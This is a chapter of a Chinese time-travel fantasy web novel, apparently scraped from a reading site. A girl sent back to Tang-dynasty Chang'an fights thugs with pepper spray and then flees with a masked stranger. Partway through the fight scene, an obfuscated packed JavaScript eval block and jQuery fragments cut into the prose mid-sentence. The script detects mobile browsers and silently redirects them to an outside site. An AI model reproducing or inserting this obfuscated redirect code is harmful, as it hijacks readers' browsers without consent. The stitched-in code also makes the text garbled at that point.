90. 人生若如初见(一)
作品:《如果有一天成为神》 在这两天里,尽管珮引说不用过分谨慎和紧张,但少年们还是拼命恶补各自目标时代的基础知识。
由于对人间历史不会产生影响,他们在执行任务的时候不必遮掩面容,唯一需要注意的只是小心使用灵力,避免引起轰动。
四组人马会在同一天出发,由于时空和灵力的影响,他们在不同时空相对现代的时间流速也会有所变化,但通常只快不慢,换言之,他们在异时空度过七天,也许只在现代过了一天。
他们回到过去最多只能停留七天,只要在七天内找到宝物启动镜像时空法阵就能回到现代。如果一直没有主动启动法阵,时间一到,他们也会自动被送回原来的时空。
在出发前一天,珮引分别交给四组人各一份画卷,画上画着他们的目标宝物与宝物的相关信息。
叶鸣箫接过他们这一组的画卷,画卷上绘制着一支簪子,簪子看起来是银制的,款式简单,末端嵌着若干红宝石。画卷右端写着这支簪子的介绍,大概意思是此簪子无名,形态只有玄蚀能够改变,拥有抵御外部灵力探查的功效,在人间最后出现于开元二十一年千秋节前夕的长安城。从此无影无踪。
叶鸣箫:“千秋节是什么?”
乔霖风简单百度:“为了庆祝当时的皇帝的生日而产生的节日,起源于开元十七年,设立在八月初五。”
“没错,你们这一组会被送往开元二十一年的八月初一。”珮引说。
叶鸣箫忽然来了劲:“那这个意思是咱们有机会在那里过一过节日?说不定很热闹很有趣!”
乔霖风泼冷水:“咱们是去执行任务的,别忘了这里还有一堆事要等着我们回来处理。”
叶鸣箫想起了什么,脑袋耷拉下去。
安符燃问珮引:“长安这么大,我们去哪找这个小簪子?”
珮引:“没有特别注明这支簪子的地点,那多半是最后出现在当铺的记录。你们可以从当铺开始问起。”
到了出发那天,四组分队按照时间距今的远近分别启动时空法阵出发。
叶鸣箫、乔霖风和安符燃是第三组。
看着前两组人消失在面前,叶鸣箫面容一直很严肃,这是他们第一次全员出动穿越回过去,还是那么遥远的时代。每次时空穿越只有一次机会,他们不能失败。
乔霖风看出叶鸣箫的紧张,拉起安符燃和她的手,聚在身前:“加油?”
叶鸣箫笑了起来,握紧了两位队友的手:“唐朝小分队,加油!”
三人站在时空法阵的三角,往法阵中注入灵力,异时空的风很快笼罩三人,汹涌的灵力波动中。两位同伴的脸在叶鸣箫的眼中逐渐模糊。
凌冽的风迫使叶鸣箫闭上眼睛,熟悉的失重感归来,她极力寻找身体的掌控感,却还是不受控制地往后仰去。
风声渐止,失重感终于消失,叶鸣箫一屁股摔在什么平整但不算柔软的东西上。她小心翼翼地睁开眼睛,幸好周围无人。
这里似乎是一间卧室,桌椅床铺一应俱全,叶鸣箫坐在没有床垫的床铺上,从身旁的窗户往外看。
窗户目测位于二楼,外面是街道,唐朝装束的人们熙熙攘攘,叫卖声不绝于耳。
电视剧才能看见的景象在自己的面前成了真。
叶鸣箫下了床,揉揉摔痛的屁股,简单整理了下衣服,将门推开一条缝。
原来自己身处一家客栈,二楼是客房,一楼是餐厅大堂。此时大堂内动静不太寻常,叶鸣箫趴在走廊的栏杆边,探头探脑。
食客不再继续用餐,而是将目光齐刷刷转向靠门口的一桌。
那一桌被三五个彪形大汉围得严严实实,似乎在吵闹,围观的人群自觉与这些人拉开三米距离,看群众表情,害怕与同情混杂,叶鸣箫懂了,这些大汉不是好人。
从大汉们的宽阔臂膀的间隙中,叶鸣箫看见了一个瘦高白皙的男人,他被大汉们围在中间,紧挨着餐桌,姿势弱势,嘴巴张合,应该是在努力争辩什么。
可那些大汉并不给他解释的机会,没说两句就要伸手打这个小白脸。
叶鸣箫翻身越过栏杆,从二楼跃下,稳稳落在客栈老板的一楼柜台上。
“喂!光天化日下,你们干什么呢?以多欺少、仗势欺人?”
人群安静下来,所有人将目光转向这位不知道从哪冒出来的奇装少女。
叶鸣箫从柜台上落地,拍了拍手上的灰尘,叉腰往前走。
为首的男人身形较瘦,衣着华丽,他左右看了眼身边的大汉们,又看向叶鸣箫,轻蔑地笑起来:“哪来的黄毛丫头,还在这逞英雄?”
他凑近了叶鸣箫,摸了摸下巴:“仔细瞧瞧,姿色也算可以,你要是陪我喝一杯酒,这事就算了。”
说着,他就要上手摸叶鸣箫的脸。
说时迟那时快,叶鸣箫从兜里摸出一件物品,对准了纨绔的脸——
“哎呦,我的眼睛——给我抓住这个小丫头,狠狠打一顿!”高浓度辣椒水滋了纨绔满眼,他尖叫着倒地,双眼霎时红肿起来,几乎丧失视觉。
“这就是你应得的惩罚。”叶鸣箫微扬下巴,在大汉们向自己冲来时抄起身边的长木凳当作防御武器,挡下一波冲击后狠命往前方的大汉头上砸去。
木凳断成两节,飞溅的木屑中,一名大汉捂头倒地,后面的大汉补上前人的位置,一拳挥向叶鸣箫。
叶鸣箫弯腰闪向一边,大汉的拳头落了空,愤怒转身,要接着挥拳时,叶鸣箫梅开二度,举起手中的自制防狼喷雾,按压喷头。
大汉尖叫一声,捂着眼睛弯腰。叶鸣箫瞅准时机,捡起断裂的板凳碎片,对准了大汉的两腿之间,狠狠击打。
大汉应声倒地,一手捂着眼睛一手捂着裆部蜷缩成一团,疼到失了声。
叶鸣箫丢下板凳碎片:“我这招叫做斩草除根,滋味如何?”
“小心!”
一道细影掠过叶鸣箫的脸侧,击中她身后正要偷袭的另一名大汉的胸口。
叶鸣箫侧过身躲过,看清了细影的原身是一只筷子,掷出的筷子力道并不小,它击痛了大汉,也使大汉改变了攻击目标。
那原本被纨绔和大汉围在中间的小白脸站直了身体,手中多了几双筷子。
大汉把叶鸣箫搁置在一边,转头冲向小白脸。叶鸣箫眼疾手快抄起身边桌上的空碗丢向大汉的后脑勺:“你的对手是我!”
陶碗落地,大汉被砸蒙了,他又冲向叶鸣箫。
几只筷子飞出,击中了他的脚踝,大汉摔了一跤,在叶鸣箫的面前吃了一记狗啃屎。
叶鸣箫哈哈大笑:“你我非亲非故,行此大礼做什么?快快起来。”
大汉挣扎着要爬起来时,叶鸣箫听见那纨绔缓过了劲,恼羞成怒尖声道:“别管了,杀他们,给我杀他们,出了事我担着!”
原先被打趴下的大汉们都先后努力爬了起来,从腰侧拔出短刀,作势要冲二人扑过来。
见小白脸还愣在原地,叶鸣箫一把扣住他的手腕,拉着他就往外跑。
在古代跟人动刀子不在她的计划范围内,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16767671|174039||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
三十六计走为上计!
人群为他们俩让出一条通往客栈外的通道,在二人匆忙踏出大门,人群又迅速合上,默默隔绝了大汉们与他们之间的冲突。
叶鸣箫就这么拽着一个陌生男人头也不回地奔跑许久,在纵横交错的街道里拐了好几个弯,确保周围再没有危险后,叶鸣箫松开了男人的手。
“好了好了,终于安全了。”
男人揉了揉被叶鸣箫捏红的手腕,在叶鸣箫的余光里行了个礼:“多谢姑娘。”
“不谢,顺手的事。”她抹了把汗,转身查看男人的情况,却一愣。
男人的脸上覆着一张银白色的羽状面具,难怪叶鸣箫远看他白皙得过分。看面具下露出的下半张脸,他应当很年轻。
叶鸣箫喘匀了气,直起身子,发觉男人的身高比自己高出一个头还多点。
“你戴着面具干什么,装酷?”
“面具?”年轻男人抬手摸上自己的脸,忽然一笑,“人戴面具无非就那几种理由。”
“什么理由,遮丑?”
男人:“要是我真的面目可怖,你会不会后悔救了我?”
叶鸣箫挠头:“救人是美德,还看美丑吗?”
男人笑意渐浓:“骗你的,其实我是个美人,你信不信?”
“就是像兰陵王那样,怕太漂亮让别人分心?”
男人眼睛一亮:“对,就是这样。”
叶鸣箫笑了。
这人真不要脸。
看男人还精神抖擞地跟她开玩笑,叶鸣箫就知道他状态比自己还好,完全不像经历一番打斗和赶路的人。
“既然你没事了,我们就此别过,后会有期!”叶鸣箫装模作样地学着记忆里的古装片角色随意一拱手,转身就走。
却没想到男人跟了上来:“可我还有些问题想请教姑娘。”
“说吧。”
“方才你手中那瓶子里面装的是什么?”
“这个啊?”叶鸣箫从兜里摸出防狼喷雾,得意一笑,“辣椒水啊。”
男人声音困惑:“辣椒?辣椒是什么?”
糟了,这会辣椒还没传入这片土地。
叶鸣箫打了个哈哈,岔开话题:“哎,说起来,我看你耍筷子的手法,也是个练家子,怎么会被那几个玩意欺负?”
“我只懂点皮毛。”男人诚恳地回答,面具后的眼睛很亮,“不及姑娘你的十分之一。再者,他们人多势众。得亏姑娘你从天而降,救我于水火之中,不然我必定逃不了一顿毒打。”
男人的一番奉承很得叶鸣箫的心意,她咧嘴笑着,故作不在意地摆摆手:“举手之劳,举手之劳。”
没走出两步,叶鸣箫的腹中发出低鸣,她的眼睛忍不住往路边小吃摊上瞟。
可眼下她没钱,在现代他们也没有复原古代货币的条件,叶鸣箫只想赶紧找到另外两名同伴,一起想办法弄点吃的。
大概是饥饿状态下人的五感都会更加敏感,叶鸣箫似乎隐约听见还在跟在自己身边的男人腰上钱袋里铜币晃荡的声音。
她停下了脚步,转向这个跟了她半天的男人,决定厚脸皮一回。
“你刚刚不是说我救了你吗?”
被叶鸣箫直勾勾的眼神盯得头皮发麻,男人喉结滚动,眨了眨眼:“是。”
叶鸣箫挤眉弄眼着摸上自己的肚子,充分暗示:“那,你能不能……”
男人又眨了眨眼,片刻之后恍然大悟。
“我能以身相许。”
叶鸣箫:“……”

